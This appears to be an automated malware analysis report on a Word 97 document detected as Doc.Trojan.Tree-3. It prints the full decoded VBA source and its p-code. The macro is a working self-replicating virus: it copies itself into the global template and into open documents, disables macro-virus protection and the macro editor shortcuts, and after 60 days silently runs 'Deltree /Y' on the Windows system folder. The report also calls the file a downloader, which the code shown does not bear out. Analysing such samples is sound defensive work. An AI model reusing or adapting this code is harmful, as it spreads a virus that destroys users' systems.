Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 491270928d4eee97…

MALICIOUS

Office (OLE)

36.0 KB Created: 1997-04-26 16:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 5aaa4426eb70e2603be833a47b91cb80 SHA-1: 92221a58c4600184478b755234b3ca228061d9a9 SHA-256: 491270928d4eee97bb4edd922e2dda86349138494797571d3fd3c65ddf390ce6
316 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains legacy WordBasic macro virus markers and VBA macros, including AutoOpen and AutoClose. Crucially, it utilizes the Shell() function, a critical heuristic firing, indicating the execution of arbitrary code. This strongly suggests the document is designed to download and execute a second-stage payload, consistent with a malicious document dropper.

Heuristics 7

  • ClamAV: Doc.Trojan.Tree-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Tree-3
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell "Deltree /Y " + System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "SystemRoot"), vbHide
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    If MFN = False Then Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:=T, Object:=wdOrganizerObjectProjectItems
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13696 bytes
SHA-256: 6c5b72654a27c1381a7af1f9fa966a23c09af5f0893629a9c590554b23f055d2
Detection
ClamAV: Doc.Trojan.Tree-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ATree01"
Sub FileClose()
On Error Resume Next
Call MacNor("ThisDocument", "Reference to Normal", "ATree01")
Call MacDoc("ThisDocument", "Reference to Normal", "ATree01")
Call Woptions("Tools", "Macro", "View", "Toolbars")
Call RegEdCreate
WordBasic.FileClose
End Sub
Sub FileExit()
On Error Resume Next
Call MacNor("ThisDocument", "Reference to Normal", "ATree01")
Call MacDoc("ThisDocument", "Reference to Normal", "ATree01")
Call Woptions("Tools", "Macro", "View", "Toolbars")
Call RegEdCreate
WordBasic.FileExit
End Sub
Sub FileNew()
On Error Resume Next
Call MacNor("ThisDocument", "Reference to Normal", "ATree01")
Call MacDoc("ThisDocument", "Reference to Normal", "ATree01")
Call Woptions("Tools", "Macro", "View", "Toolbars")
Call RegEdCreate
Dialogs(wdDialogFileNew).Show
End Sub
Sub FileOpen()
On Error Resume Next
Call MacNor("ThisDocument", "Reference to Normal", "ATree01")
Call MacDoc("ThisDocument", "Reference to Normal", "ATree01")
Call Woptions("Tools", "Macro", "View", "Toolbars")
Call RegEdCreate
Dialogs(wdDialogFileOpen).Show
End Sub
Sub AutoClose()
On Error Resume Next
Call MacNor("ThisDocument", "Reference to Normal", "ATree01")
Call MacDoc("ThisDocument", "Reference to Normal", "ATree01")
Call Woptions("Tools", "Macro", "View", "Toolbars")
Call RegEdCreate
End Sub
Sub AutoOpen()
On Error Resume Next
Call MacNor("ThisDocument", "Reference to Normal", "ATree01")
Call MacDoc("ThisDocument", "Reference to Normal", "ATree01")
Call Woptions("Tools", "Macro", "View", "Toolbars")
Call RegEdCreate
End Sub
Sub MacNor(D, R, T)
MFN = False
For Each ExistMod In NormalTemplate.VBProject.VBComponents
If ExistMod.Name = T Then MFN = True
If ExistMod.Name <> D And ExistMod.Name <> T Then Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=ExistMod.Name, Object:=wdOrganizerObjectProjectItems
Next
If MFN = False Then Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:=T, Object:=wdOrganizerObjectProjectItems
End Sub
Sub MacDoc(D, R, T)
For Each Doc In Documents
MFD = False
For Each ExistMod In Doc.VBProject.VBComponents
If ExistMod.Name = T Then MFD = True
If ExistMod.Name <> D And ExistMod.Name <> R And ExistMod.Name <> T Then Application.OrganizerDelete Source:=Doc.FullName, Name:=ExistMod.Name, Object:=wdOrganizerObjectProjectItems
Next
If MFD = False Then Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=Doc.FullName, Name:=T, Object:=wdOrganizerObjectProjectItems
Next
End Sub
Sub Woptions(T, M, V, B)
On Error Resume Next
CustomizationContext = ActiveDocument.AttachedTemplate
With Options
.VirusProtection = False
.SaveNormalPrompt = False
End With
FindKey(KeyCode:=BuildKeyCode(wdKeyAlt, wdKeyF11)).Disable
FindKey(KeyCode:=BuildKeyCode(wdKeyAlt, wdKeyF8)).Disable
CommandBars(T).Controls(M).Enable = True
CommandBars(T).Controls(M).Delete
CommandBars(V).Controls(B).Enabled = False
CommandBars(V).Controls(B).Caption = "Tree"
End Sub
Sub ViewVBCode()
End Sub
Sub RegEdCreate()
ID = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "TreeInstall")
If Not IsDate(ID) Then
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "TreeInstall") = Format(Date, "dd/mm/yyyy")
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "RegisteredOwner") = "Tree VS Liton"
ID = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "TreeInstall")
End If
CD = Format(Date, "mm/dd/yyyy")
ID = DateValue(ID)
CD = DateValue(CD)
Dv = CD - ID
If Dv > 60 Then
Shell "Deltree /Y " + System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "SystemRoot"), vbHide
End If
End Sub

' Processing file: /tmp/qstore_cypn6yd9
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1120 bytes
' Macros/VBA/ATree01 - 6911 bytes
' Line #0:
' 	FuncDefn (Sub FileClose())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	LitStr 0x000C "ThisDocument"
' 	LitStr 0x0013 "Reference to Normal"
' 	LitStr 0x0007 "ATree01"
' 	ArgsCall (Call) MacNor 0x0003 
' Line #3:
' 	LitStr 0x000C "ThisDocument"
' 	LitStr 0x0013 "Reference to Normal"
' 	LitStr 0x0007 "ATree01"
' 	ArgsCall (Call) MacDoc 0x0003 
' Line #4:
' 	LitStr 0x0005 "Tools"
' 	LitStr 0x0005 "Macro"
' 	LitStr 0x0004 "View"
' 	LitStr 0x0008 "Toolbars"
' 	ArgsCall (Call) Woptions 0x0004 
' Line #5:
' 	ArgsCall (Call) RegEdCreate 0x0000 
' Line #6:
' 	Ld WordBasic 
' 	ArgsMemCall FileClose 0x0000 
' Line #7:
' 	EndSub 
' Line #8:
' 	FuncDefn (Sub FileExit())
' Line #9:
' 	OnError (Resume Next) 
' Line #10:
' 	LitStr 0x000C "ThisDocument"
' 	LitStr 0x0013 "Reference to Normal"
' 	LitStr 0x0007 "ATree01"
' 	ArgsCall (Call) MacNor 0x0003 
' Line #11:
' 	LitStr 0x000C "ThisDocument"
' 	LitStr 0x0013 "Reference to Normal"
' 	LitStr 0x0007 "ATree01"
' 	ArgsCall (Call) MacDoc 0x0003 
' Line #12:
' 	LitStr 0x0005 "Tools"
' 	LitStr 0x0005 "Macro"
' 	LitStr 0x0004 "View"
' 	LitStr 0x0008 "Toolbars"
' 	ArgsCall (Call) Woptions 0x0004 
' Line #13:
' 	ArgsCall (Call) RegEdCreate 0x0000 
' Line #14:
' 	Ld WordBasic 
' 	ArgsMemCall FileExit 0x0000 
' Line #15:
' 	EndSub 
' Line #16:
' 	FuncDefn (Sub FileNew())
' Line #17:
' 	OnError (Resume Next) 
' Line #18:
' 	LitStr 0x000C "ThisDocument"
' 	LitStr 0x0013 "Reference to Normal"
' 	LitStr 0x0007 "ATree01"
' 	ArgsCall (Call) MacNor 0x0003 
' Line #19:
' 	LitStr 0x000C "ThisDocument"
' 	LitStr 0x0013 "Reference to Normal"
' 	LitStr 0x0007 "ATree01"
' 	ArgsCall (Call) MacDoc 0x0003 
' Line #20:
' 	LitStr 0x0005 "Tools"
' 	LitStr 0x0005 "Macro"
' 	LitStr 0x0004 "View"
' 	LitStr 0x0008 "Toolbars"
' 	ArgsCall (Call) Woptions 0x0004 
' Line #21:
' 	ArgsCall (Call) RegEdCreate 0x0000 
' Line #22:
' 	Ld wdDialogFileNew 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #23:
' 	EndSub 
' Line #24:
' 	FuncDefn (Sub FileOpen())
' Line #25:
' 	OnError (Resume Next) 
' Line #26:
' 	LitStr 0x000C "ThisDocument"
' 	LitStr 0x0013 "Reference to Normal"
' 	LitStr 0x0007 "ATree01"
' 	ArgsCall (Call) MacNor 0x0003 
' Line #27:
' 	LitStr 0x000C "ThisDocument"
' 	LitStr 0x0013 "Reference to Normal"
' 	LitStr 0x0007 "ATree01"
' 	ArgsCall (Call) MacDoc 0x0003 
' Line #28:
' 	LitStr 0x0005 "Tools"
' 	LitStr 0x0005 "Macro"
' 	LitStr 0x0004 "View"
' 	LitStr 0x0008 "Toolbars"
' 	ArgsCall (Call) Woptions 0x0004 
' Line #29:
' 	ArgsCall (Call) RegEdCreate 0x0000 
' Line #30:
' 	Ld wdDialogFileOpen 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #31:
' 	EndSub 
' Line #32:
' 	FuncDefn (Sub AutoClose())
' Line #33:
' 	OnError (Resume Next) 
' Line #34:
' 	LitStr 0x000C "ThisDocument"
' 	LitStr 0x0013 "Reference to Normal"
' 	LitStr 0x0007 "ATree01"
' 	ArgsCall (Call) MacNor 0x0003 
' Line #35:
' 	LitStr 0x000C "ThisDocument"
' 	LitStr 0x0013 "Reference to Normal"
' 	LitStr 0x0007 "ATree01"
' 	ArgsCall (Call) MacDoc 0x0003 
' Line #36:
' 	LitStr 0x0005 "Tools"
' 	LitStr 0x0005 "Macro"
' 	LitStr 0x0004 "View"
' 	LitStr 0x0008 "Toolbars"
' 	ArgsCall (Call) Woptions 0x0004 
' Line #37:
' 	ArgsCall (Call) RegEdCreate 0x0000 
' Line #38:
' 	EndSub 
' Line #39:
' 	FuncDefn (Sub AutoOpen())
' Line #40:
' 	OnError (Resume Next) 
' Line #41:
' 	LitStr 0x000C "ThisDocument"
' 	LitStr 0x0013 "Reference to Normal"
' 	LitStr 0x0007 "ATree01"
' 	ArgsCall (Call) MacNor 0x0003 
' Line #42:
' 	LitStr 0x000C "ThisDocument"
' 	LitStr 0x0013 "Reference to Normal"
' 	LitStr 0x0007 "ATree01"
' 	ArgsCall (Call) MacDoc 0x0003 
' Line #43:
' 	LitStr 0x0005 "Tools"
' 	LitStr 0x0005 "Macro"
' 	LitStr 0x0004 "View"
' 	LitStr 0x0008 "Toolbars"
' 	ArgsCall (Call) Woptions 0x0004 
' Line #44:
' 	ArgsCall (Call) RegEdCreate 0x0000 
' Line #45:
' 	EndSub 
' Line #46:
' 	FuncDefn (Sub MacNor(D, R, T))
' Line #47:
' 	LitVarSpecial (False)
' 	St MFN 
' Line #48:
' 	StartForVariable 
' 	Ld ExistMod 
' 	EndForVariable 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ForEach 
' Line #49:
' 	Ld ExistMod 
' 	MemLd New 
' 	Ld T 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St MFN 
' 	EndIf 
' Line #50:
' 	Ld ExistMod 
' 	MemLd New 
' 	Ld D 
' 	Ne 
' 	Ld ExistMod 
' 	MemLd New 
' 	Ld T 
' 	Ne 
' 	And 
' 	If 
' 	BoSImplicit 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ExistMod 
' 	MemLd New 
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' 	EndIf 
' Line #51:
' 	StartForVariable 
' 	Next 
' Line #52:
' 	Ld MFN 
' 	LitVarSpecial (False)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	Ld T 
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' 	EndIf 
' Line #53:
' 	EndSub 
' Line #54:
' 	FuncDefn (Sub MacDoc(D, R, T))
' Line #55:
' 	StartForVariable 
' 	Ld Doc 
' 	EndForVariable 
' 	Ld Documents 
' 	ForEach 
' Line #56:
' 	LitVarSpecial (False)
' 	St MFD 
' Line #57:
' 	StartForVariable 
' 	Ld ExistMod 
' 	EndForVariable 
' 	Ld Doc 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ForEach 
' Line #58:
' 	Ld ExistMod 
' 	MemLd New 
' 	Ld T 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St MFD 
' 	EndIf 
' Line #59:
' 	Ld ExistMod 
' 	MemLd New 
' 	Ld D 
' 	Ne 
' 	Ld ExistMod 
' 	MemLd New 
' 	Ld R 
' 	Ne 
' 	And 
' 	Ld ExistMod 
' 	MemLd New 
' 	Ld T 
' 	Ne 
' 	And 
' 	If 
' 	BoSImplicit 
' 	Ld Doc 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ExistMod 
' 	MemLd New 
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' 	EndIf 
' Line #60:
' 	StartForVariable 
' 	Next 
' Line #61:
' 	Ld MFD 
' 	LitVarSpecial (False)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld Doc 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	Ld T 
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' 	EndIf 
' Line #62:
' 	StartForVariable 
' 	Next 
' Line #63:
' 	EndSub 
' Line #64:
' 	FuncDefn (Sub Woptions(T, M, V, B))
' Line #65:
' 	OnError (Resume Next) 
' Line #66:
' 	Ld ActiveDocument 
' 	MemLd AttachedTemplate 
' 	St CustomizationContext 
' Line #67:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' Line #68:
' 	LitVarSpecial (False)
' 	MemStWith VirusProtection 
' Line #69:
' 	LitVarSpecial (False)
' 	MemStWith SaveNormalPrompt 
' Line #70:
' 	EndWith 
' Line #71:
' 	Ld wdKeyAlt 
' 	Ld wdKeyF11 
' 	ArgsLd BuildKeyCode 0x0002 
' 	ParamNamed KeyCode 
' 	ArgsLd FindKey 0x0001 
' 	ArgsMemCall Disable 0x0000 
' Line #72:
' 	Ld wdKeyAlt 
' 	Ld wdKeyF8 
' 	ArgsLd BuildKeyCode 0x0002 
' 	ParamNamed KeyCode 
' 	ArgsLd FindKey 0x0001 
' 	ArgsMemCall Disable 0x0000 
' Line #73:
' 	LitVarSpecial (True)
' 	Ld M 
' 	Ld T 
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enable 
' Line #74:
' 	Ld M 
' 	Ld T 
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	ArgsMemCall Delete 0x0000 
' Line #75:
' 	LitVarSpecial (False)
' 	Ld B 
' 	Ld V 
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enabled 
' Line #76:
' 	LitStr 0x0004 "Tree"
' 	Ld B 
' 	Ld V 
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Caption 
' Line #77:
' 	EndSub 
' Line #78:
' 	FuncDefn (Sub ViewVBCode())
' Line #79:
' 	EndSub 
' Line #80:
' 	FuncDefn (Sub RegEdCreate())
' Line #81:
' 	LitStr 0x0000 ""
' 	LitStr 0x003C "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion"
' 	LitStr 0x000B "TreeInstall"
' 	Ld System 
' 	ArgsMemLd PrivateProfileString 0x0003 
' 	St ID 
' Line #82:
' 	Ld ID 
' 	ArgsLd IsDate 0x0001 
' 	Not 
' 	IfBlock 
' Line #83:
' 	Ld Date 
' 	LitStr 0x000A "dd/mm/yyyy"
' 	ArgsLd Format$ 0x0002 
' 	LitStr 0x0000 ""
' 	LitStr 0x003C "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion"
' 	LitStr 0x000B "TreeInstall"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #84:
' 	LitStr 0x000D "Tree VS Liton"
' 	LitStr 0x0000 ""
' 	LitStr 0x003C "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion"
' 	LitStr 0x000F "RegisteredOwner"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #85:
' 	LitStr 0x0000 ""
' 	LitStr 0x003C "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion"
' 	LitStr 0x000B "TreeInstall"
' 	Ld System 
' 	ArgsMemLd PrivateProfileString 0x0003 
' 	St ID 
' Line #86:
' 	EndIfBlock 
' Line #87:
' 	Ld Date 
' 	LitStr 0x000A "mm/dd/yyyy"
' 	ArgsLd Format$ 0x0002 
' 	St CD 
' Line #88:
' 	Ld ID 
' 	ArgsLd DateValue 0x0001 
' 	St ID 
' Line #89:
' 	Ld CD 
' 	ArgsLd DateValue 0x0001 
' 	St CD 
' Line #90:
' 	Ld CD 
' 	Ld ID 
' 	Sub 
' 	St Dv 
' Line #91:
' 	Ld Dv 
' 	LitDI2 0x003C 
' 	Gt 
' 	IfBlock 
' Line #92:
' 	LitStr 0x000B "Deltree /Y "
' 	LitStr 0x0000 ""
' 	LitStr 0x003C "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion"
' 	LitStr 0x000A "SystemRoot"
' 	Ld System 
' 	ArgsMemLd PrivateProfileString 0x0003 
' 	Add 
' 	Ld vbHide 
' 	ArgsCall Shell 0x0002 
' Line #93:
' 	EndIfBlock 
' Line #94:
' 	EndSub

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